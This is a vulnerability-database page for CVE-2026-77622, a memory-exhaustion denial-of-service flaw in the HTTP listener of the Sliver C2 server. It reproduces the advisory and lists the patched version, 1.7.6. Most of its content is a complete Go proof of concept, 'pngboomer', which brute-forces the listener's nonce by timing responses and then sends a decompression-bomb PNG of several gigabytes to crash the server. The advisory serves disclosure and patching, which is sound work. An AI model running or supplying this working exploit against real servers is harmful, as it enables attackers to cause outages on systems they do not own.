CVE-2026-77622

HIGHCVSS · not yet scored

Also known asGHSA-663m-7x7m-g4fw (GitHub Security Advisories)

—
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • No CVSS published and no exploitation signals yet
CISA-KEV: Not listedEPSS PROB: —CVSS v2: —Exploit: None knownExposed services: Not assessed

A fixed version is listed under Patch Availability — apply it.

Sliver: Unauthenticated Memory Exhaustion Denial of Service in Sliver HTTP(S) Listener PNG Decoder

Summary

Sliver is vulnerable to a Denial of Service (DOS) attack because there is no cap in the size of a PNG file that can be sent to an open http listener and there is a small amount of possible nonces. This vulnerability lets the attacker completely max out the RAM of the machine running server, leading to a complete loss of availability.

Details

The first vulnerability is that the amount of possible nonces is 65,537. This is found in server/encoders/encoders.go

const (
    EncoderModulus = uint64(65537)
)

The second vulnerability is there is no limit to how many pixels the PNG encoder will accept from an unauthenticated user. This is found in: util/encoders/images.go

func (p PNGEncoder) Encode(data []byte) ([]byte, error) {
    img := imageFromBytes(data)
    var buf bytes.Buffer
    encoder.Encode(&buf, img)
    return buf.Bytes(), nil
}

func (p PNGEncoder) Decode(data []byte) ([]byte, error) { buf := bytes.NewBuffer(data) img, err := png.Decode(buf) if err != nil { return nil, err } return bytesFromImage(img), nil }

PoC

The first step to reproduce this vulnerability is building a docker container to make sure no harm is caused.

Get the latest version of Sliver (Currently 1.7.3)

git clone https://github.com/BishopFox/sliver.git

Build the Docker container:

cd sliver
docker build -t sliver-test:local -f Dockerfile .

Run the Docker container with a memory cap for example 4GB:

docker run --rm \
--name sliver-test \
--memory=4g \
-p 8080:8080 \
-it \
sliver-test:local

After the Docker container starts, create an http listener on port 8080:

http -L 0.0.0.0 -l 8080

In a seperate terminal create the following Go project: go.mod

module pngboomer
go 1.25

poc.go

// pngboomer — Sliver HTTP C2 PNG-bomb exploit: blind nonce brute-force + kill.
//
// SAFETY: the kill bomb causes a multi-GB PNG decode on the target. Always run
// it against a Docker container with --memory=g and pass -target-cap-mb N
// so the tool can refuse dangerous worker/probe combos.
//
// Build:  go build -o pngboomer
// Demo:   ./pngboomer -url http://target:8080/ -target-cap-mb 10240
package main

import ( "bytes" "compress/zlib" "context" "encoding/binary" "flag" "fmt" "hash/crc32" "io" "math/rand" "net" "net/http" "net/url" "os" "sort" "sync" "sync/atomic" "time" )

// ANSI color — single helper, disabled by -no-color / -silent. var nocolor bool

func col(code, s string) string { if nocolor { return s } return "\x1b[" + code + "m" + s + "\x1b[0m" } func B(s string) string { return col("1", s) } func D(s string) string { return col("2", s) } func R(s string) string { return col("1;31", s) } func G(s string) string { return col("1;32", s) } func Y(s string) string { return col("1;33", s) } func C(s string) string { return col("1;36", s) } func ms(d time.Duration) float64 { return float64(d.Microseconds()) / 1000 }

// PNG forging — stream zero-rows into zlib so client RSS stays ~10 MB even for // the 4 GiB-decode kill bomb. colorType: 2=RGB (3 B/px), 6=RGBA (4 B/px). func chunk(typ string, data []byte) []byte { out := make([]byte, 4, 12+len(data)) binary.BigEndian.PutUint32(out, uint32(len(data))) out = append(out, typ...) out = append(out, data...) crc := crc32.NewIEEE() crc.Write([]byte(typ)) crc.Write(data) tail := make([]byte, 4) binary.BigEndian.PutUint32(tail, crc.Sum32()) return append(out, tail...) } func makePNG(W, H, ct int) []byte { bpp := 3 if ct == 6 { bpp = 4 } var zb bytes.Buffer zw, _ := zlib.NewWriterLevel(&zb, zlib.BestCompression) row := make([]byte, 1+bpp*W) for i := 0; i < H; i++ { zw.Write(row) } zw.Close() ihdr := make([]byte, 13) binary.BigEndian.PutUint32(ihdr[0:4], uint32(W)) binary.BigEndian.PutUint32(ihdr[4:8], uint32(H)) ihdr[8], ihdr[9] = 8, byte(ct) out := []byte("\x89PNG\r\n\x1a\n") out = append(out, chunk("IHDR", ihdr)...) out = append(out, chunk("IDAT", zb.Bytes())...) return append(out, chunk("IEND", nil)...) }

// HTTP helpers func hostPort(u string) string { p, _ := url.Parse(u) if p.Port() != "" { return p.Hostname() + ":" + p.Port() } if p.Scheme == "https" { return p.Hostname() + ":443" } return p.Hostname() + ":80" } func alive(hp string, t time.Duration) bool { c, err := net.DialTimeout("tcp", hp, t) if err != nil { return false } c.Close() return true } func post(ctx context.Context, cli *http.Client, base string, body []byte, n uint64) time.Duration { req, _ := http.NewRequestWithContext(ctx, "POST", fmt.Sprintf("%s?n=%d", base, n), bytes.NewReader(body)) req.Header.Set("Content-Type", "application/octet-stream") t := time.Now() resp, err := cli.Do(req) dt := time.Since(t) if err == nil { io.Copy(io.Discard, resp.Body) resp.Body.Close() } return dt }

type hit struct { n uint64 dt time.Duration }

func main() { target := flag.String("url", "http://127.0.0.1:8080/", "Sliver HTTP C2 base URL") workers := flag.Int("workers", 8, "scan concurrency") probeW := flag.Int("probe-w", 2000, "probe PNG width") probeH := flag.Int("probe-h", 2000, "probe PNG height") probeCT := flag.Int("probe-color", 2, "probe color: 2=RGB, 6=RGBA") killW := flag.Int("kill-w", 32767, "kill PNG width") killH := flag.Int("kill-h", 32767, "kill PNG height") killCT := flag.Int("kill-color", 6, "kill color: 2=RGB, 6=RGBA") thMs := flag.Int("threshold-ms", 50, "threshold floor (effective = max(this, baseline_p99 × outlier-mult))") outlier := flag.Float64("outlier-mult", 15.0, "baseline_p99 × this = adaptive threshold") calibN := flag.Int("calibrate", 16, "non-PNG calibration samples") verifyN := flag.Int("verify", 3, "re-probe count per candidate") maxN := flag.Int("max-nonce", 65537, "top nonce (Sliver modulus = 65537)") pTO := flag.Duration("probe-timeout", 5*time.Second, "per-probe HTTP timeout") kTO := flag.Duration("kill-timeout", 180*time.Second, "kill request HTTP timeout") capMB := flag.Int("target-cap-mb", 10240, "declared target memory cap, 0 = disable check") known := flag.Int("nonce", 0, "skip scan, use this nonce directly") scanOnly := flag.Bool("scan-only", false, "stop after finding nonce, don't kill") noConf := flag.Bool("no-confirm", false, "don't TCP-poll for death after kill") noClr := flag.Bool("no-color", false, "disable ANSI color") silent := flag.Bool("silent", false, "only print nonce on stdout") flag.Parse()

nocolor = *noClr || *silent pBpp, kBpp := 3, 3 if *probeCT == 6 { pBpp = 4 } if *killCT == 6 { kBpp = 4 } probeMB := pBpp * *probeW * *probeH / 1024 / 1024 killMB := kBpp * *killW * *killH / 1024 / 1024 peakMB := *workers * probeMB if *capMB > 0 && peakMB > *capMB/2 { fmt.Fprintf(os.Stderr, "%s scan peak %d MiB > target cap %d / 2 — lower -workers or -probe-w/h\n", R("[X] safety:"), peakMB, *capMB) os.Exit(2) }

probe := makePNG(*probeW, *probeH, *probeCT) kill := makePNG(*killW, *killH, *killCT) hp := hostPort(*target) if !alive(hp, 2*time.Second) { fmt.Fprintf(os.Stderr, "%s target unreachable: %s\n", R("[X]"), hp) os.Exit(2) } if !*silent { fmt.Fprintln(os.Stderr, B("pngboomer — Sliver C2 PNG-bomb DoS")) fmt.Fprintf(os.Stderr, " probe %dB wire %dx%d c=%d → %d MiB decode\n", len(probe), *probeW, *probeH, *probeCT, probeMB) fmt.Fprintf(os.Stderr, " kill %dB wire %dx%d c=%d → %d MiB decode\n", len(kill), *killW, *killH, *killCT, killMB) fmt.Fprintf(os.Stderr, " scan peak ≈ %d MiB target cap=%d MiB reachable=%s\n", peakMB, *capMB, B(hp)) }

cli := &http.Client{Timeout: *pTO, Transport: &http.Transport{MaxIdleConnsPerHost: *workers}} pngN := uint64(*known)

if pngN == 0 { // ─── Phase 1: calibrate non-PNG baseline ─── dts := make([]time.Duration, *calibN) sem := make(chan struct{}, 8) var wg sync.WaitGroup for i := 0; i < *calibN; i++ { i := i sem <- struct{}{} wg.Add(1) go func() { defer wg.Done() defer func() { <-sem }() dts[i] = post(context.Background(), cli, *target, probe, uint64(rand.Intn(*maxN-1)+1)) }() } wg.Wait() sort.Slice(dts, func(i, j int) bool { return dts[i] < dts[j] }) p50, p99 := dts[len(dts)/2], dts[len(dts)*99/100] eff := int64(*thMs) if a := int64(float64(p99.Milliseconds()) * *outlier); a > eff { eff = a } *thMs = int(eff) thresh := time.Duration(*thMs) * time.Millisecond if !*silent { fmt.Fprintf(os.Stderr, " baseline p50=%.0fms p99=%.0fms → threshold=%s (max of floor, p99×%.0f)\n", ms(p50), ms(p99), B(fmt.Sprintf("%dms", *thMs)), *outlier) }

// ─── Phase 2: scan with verify + blacklist-on-blip ─── blacklist := map[uint64]bool{} var maxDt int64 var maxNonce uint64 var totalDone uint64 scanStart := time.Now() const maxBlips = 8

// Shuffled nonce order, shared across re-scans. Workers pull via atomic // counter — no channels, no producer goroutine. order := make([]uint64, *maxN-1) for i := range order { order[i] = uint64(i + 1) } rand.Shuffle(len(order), func(i, j int) { order[i], order[j] = order[j], order[i] })

for blip := 0; blip < maxBlips && pngN == 0; blip++ { scanCtx, scanCancel := context.WithCancel(context.Background()) hits := make(chan hit, 1) var idx int64 var scanned uint64 var swg sync.WaitGroup for i := 0; i < *workers; i++ { swg.Add(1) go func() { defer swg.Done() for scanCtx.Err() == nil { i := atomic.AddInt64(&idx, 1) - 1 if i >= int64(len(order)) { return } n := order[i] if blacklist[n] { continue } dt := post(scanCtx, cli, *target, probe, n) atomic.AddUint64(&scanned, 1) for { // track slowest probe (lock-free CAS) cur := atomic.LoadInt64(&maxDt) if dt.Nanoseconds() <= cur { break } if atomic.CompareAndSwapInt64(&maxDt, cur, dt.Nanoseconds()) { atomic.StoreUint64(&maxNonce, n) break } } if dt >= thresh { select { case hits <- hit{n, dt}: default: } scanCancel() return } } }() }

if !*silent { go func() { t := time.NewTicker(750 * time.Millisecond) defer t.Stop() for { select { case <-scanCtx.Done(): return case <-t.C: tot := atomic.LoadUint64(&totalDone) + atomic.LoadUint64(&scanned) el := time.Since(scanStart).Seconds() fmt.Fprintf(os.Stderr, D(" scanned %d (%.0f/s, %.1fs, blips=%d)\n"), tot, float64(tot)/el, el, blip) } } }() }

go func() { swg.Wait(); close(hits) }() cand, ok := <-hits scanCancel() atomic.AddUint64(&totalDone, atomic.LoadUint64(&scanned)) if !ok { break // exhausted, no candidate }

// VERIFY: re-probe N×, count threshold hits, render tries inline conf := 0 var tries bytes.Buffer for i := 0; i < *verifyN; i++ { dt := post(context.Background(), cli, *target, probe, cand.n) if dt >= thresh { conf++ tries.WriteString(G("✓")) } else { tries.WriteString(R("✗")) } fmt.Fprintf(&tries, "%.0fms ", ms(dt)) } if !*silent { fmt.Fprintf(os.Stderr, " candidate %s (%.0fms) verify: %s\n", B(fmt.Sprintf("%d", cand.n)), ms(cand.dt), tries.String()) } if conf >= (*verifyN+1)/2 { pngN = cand.n if !*silent { fmt.Fprintf(os.Stderr, "%s nonce=%s in %.2fs (%d probes, %d blips)\n", G("[+] FOUND"), B(fmt.Sprintf("%d", pngN)), time.Since(scanStart).Seconds(), atomic.LoadUint64(&totalDone), len(blacklist)) } break } blacklist[cand.n] = true if !*silent { fmt.Fprintf(os.Stderr, "%s nonce %d rejected (%d/%d) — blacklisted\n", Y("[!] blip"), cand.n, conf, *verifyN) } }

if pngN == 0 { mDt := time.Duration(atomic.LoadInt64(&maxDt)) mN := atomic.LoadUint64(&maxNonce) fmt.Fprintf(os.Stderr, "%s no candidate ≥ %dms after %d probes\n", R("[X] scan failed:"), *thMs, atomic.LoadUint64(&totalDone)) fmt.Fprintf(os.Stderr, " slowest probe: nonce=%d at %.0fms\n", mN, ms(mDt)) suggest := mDt.Milliseconds() * 6 / 10 if suggest < 30 { suggest = 30 } fmt.Fprintf(os.Stderr, " fix: %s or grow -probe-w/-probe-h\n", C(fmt.Sprintf("-threshold-ms %d", suggest))) os.Exit(2) } }

if *scanOnly { fmt.Println(pngN) return }

// ─── Phase 3: fire kill bomb ─── if !*silent { fmt.Fprintf(os.Stderr, "%s firing kill (%d MiB decode) at %s?n=%d\n", B("[*]"), killMB, *target, pngN) } kCli := &http.Client{Timeout: *kTO} killStart := time.Now() done := make(chan struct{}) go func() { dt := post(context.Background(), kCli, *target, kill, pngN) if !*silent { fmt.Fprintf(os.Stderr, " kill returned in %.2fs\n", dt.Seconds()) } close(done) }()

if *noConf { <-done fmt.Println(pngN) return }

deadline := time.Now().Add(*kTO) for time.Now().Before(deadline) { time.Sleep(250 * time.Millisecond) if !alive(hp, time.Second) { if !*silent { fmt.Fprintf(os.Stderr, "%s killed in %.2fs (TCP refused at %s)\n", G("[+] ★ TARGET DEAD ★"), time.Since(killStart).Seconds(), hp) } fmt.Println(pngN) return } } fmt.Fprintf(os.Stderr, "%s target alive after %s — try larger -kill-w/-kill-h\n", Y("[!]"), *kTO) os.Exit(1) }

Impact

This vulnerability can impact the availability of any Sliver server that has a running http listener. If the target server does not have a limit on the amount of memory the Sliver C2 can use it will lead to a host device crashing.

Collaboration

This vulnerability was found with the help of Wencheng Xue (panwnvda).

CVSS v3
—
EchelonGraph score
Not yet assessedNo source has published severity data for this CVE yet — no CVSS score from NVD or a CNA, no GitHub advisory, and it is not in CISA KEV. This is not a rating of zero; we cannot assess it yet.
EG Score
—
EG Risk
—
EPSS PROB
—
EPSS %ILE
—
KEV
Not listed

What the EG score is made of (scorer v4.0: the three questions the 0–10 score mixes, published apart · methodology)

EG Severity
Not assessed: no CVSS publishedA missing CVSS is not a severity of zero.
EG Likelihood
Unknown (no EPSS on record)Unknown, not low: FIRST has published no EPSS probability for this CVE.
Confirmed exploitation
None on record (CISA KEV, EG-KEV Tier 1)Reported apart from the likelihood: an observed fact, not a probability.
EG Priority
No SSVC decision: EchelonGraph has not assessed this CVECISA BOD 26-04: 14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.Each input and its source, and whom BOD 26-04 binds: the BOD 26-04 block below.

BOD 26-04 (CISA's remediation timeline, Table 1)14 days if the affected system is publicly exposed; Fix on system upgrade if it is not.

The score's inputs: In CISA KEV no (CISA's KEV catalog) · Automatable no (CISA's BOD 26-04 default) · Technical impact total (CISA's BOD 26-04 default). Where an input reads “CISA's BOD 26-04 default”, no one has published it for this CVE, and CISA's implementation guidance says: “If “Automatable” and “Technical Impact” information items about a CVE ID are not available and the CVE ID is not in the KEV Catalog, CISA will treat its values as “no” and “total,” respectively, until CISA or a third party provides metadata about the CVE ID. CISA will always provide the Vulnrichment data for a CVE ID listed in the KEV Catalog.” Whether your system is publicly exposed is yours to answer. BOD 26-04 binds US Federal Civilian Executive Branch agencies; for anyone else it is CISA's published timeline, a reference rather than an obligation. The directive · how EchelonGraph applies it

Published

October 15, 2026

Last Modified

October 15, 2026

Vendor Advisories for CVE-2026-77622(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Patch Availability(1)

Vendor / EcosystemFix (by version range) / PatchReleasedSource
gogithub.com/BishopFox/sliver @ 1.7.6 (fixes < 1.7.6)—ghsa

Patches are aggregated from vendor advisories (Red Hat, Microsoft, Cisco, GitHub) and package ecosystems (OSV, GHSA). Multiple rows for the same upstream release have been deduplicated.

Weakness Classification(1)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 1× in last 7d / 4× in last 30d)

Each row is a time one of our pipelines fetched, updated or re-scored this CVE. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. An arrow marks a change the record states ("CVSS v3 → 9.1"); EPSS and GHSA rows show the values recorded at that time, not what changed (EPSS values are rounded; hover one for the exact figures). Most recent first.

  1. 2026-11-01 07:38 UTCGHSA enrichmentGHSA-663m-7x7m-g4fw · GitHub severity HIGH
  2. 2026-10-25 14:01 UTCEG score recompute
  3. 2026-10-18 03:11 UTCEG score recompute
  4. 2026-10-15 20:27 UTCEG score recompute

Frequently asked(3)

What is CVE-2026-77622?
CVE-2026-77622 is a high-severity vulnerability; its CVE record was published on October 15, 2026. Sliver: Unauthenticated Memory Exhaustion Denial of Service in Sliver HTTP(S) Listener PNG Decoder Summary Sliver is vulnerable to a Denial of Service (DOS) attack because there is no cap in the size of a PNG file that can be sent to an open http listener and there is a small amount of possible…
When was the CVE record for CVE-2026-77622 published?
The CVE record for CVE-2026-77622 was published on October 15, 2026. That is the record's publication date; the vulnerability itself may have been made public earlier. EchelonGraph's copy of the record carries a last-modified date of October 15, 2026; the record at its source may have been updated since.
How do I remediate CVE-2026-77622?
A fixed version for CVE-2026-77622 is listed under Patch Availability on this page: update to the version listed for your package. The vendor advisories EchelonGraph has for CVE-2026-77622 are linked in the Vendor Advisories panel on this page.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-77622

Explore →

Is Your Infrastructure Affected by CVE-2026-77622?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.